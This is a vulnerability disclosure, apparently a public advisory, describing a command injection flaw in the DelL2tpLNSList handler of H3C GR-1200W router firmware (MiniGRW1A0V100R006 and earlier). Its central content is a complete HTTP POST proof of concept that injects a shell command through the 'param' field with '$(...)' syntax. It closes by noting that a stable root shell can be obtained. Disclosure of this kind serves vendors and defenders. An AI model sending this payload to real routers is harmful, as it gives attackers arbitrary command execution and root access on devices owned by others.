H3C GR-1200W (<=MiniGRW1A0V100R006) Has an command injection vulnerability

Overview

• Manufacturer's website information：https://www.h3c.com/
• Firmware download address ： https://www.h3c.com/cn/d_202102/1383837_30005_0.htm

Product Information

H3C GR-1200W MiniGRW1A0V100R006 router, the latest version of simulation overview：

Vulnerability details

The H3C GR-1200W (<=MiniGRW1A0V100R006) router was found to contain a command insertion vulnerability in DelL2tpLNSList.This vulnerability allows an attacker to execute arbitrary commands through the "param" parameter.

In the DelL2tpLNSList function, it format the param parameter we entered into V13 through the snprintf function, and execute our command through the system function. We can execute our orders through $(command).

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following POC attacks

POST /goform/aspForm HTTP/1.1
Host: 192.168.0.124:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://121.226.152.63:8443/router_password_mobile.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 553
Origin: https://192.168.0.124:80
DNT: 1
Connection: close
Cookie: JSESSIONID=5c31d502
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

CMD=DelL2tpLNSList&param=1; $(ps>/www/1);

The above figure shows the POC attack effect

Finally, you also can write exp to get a stable root shell.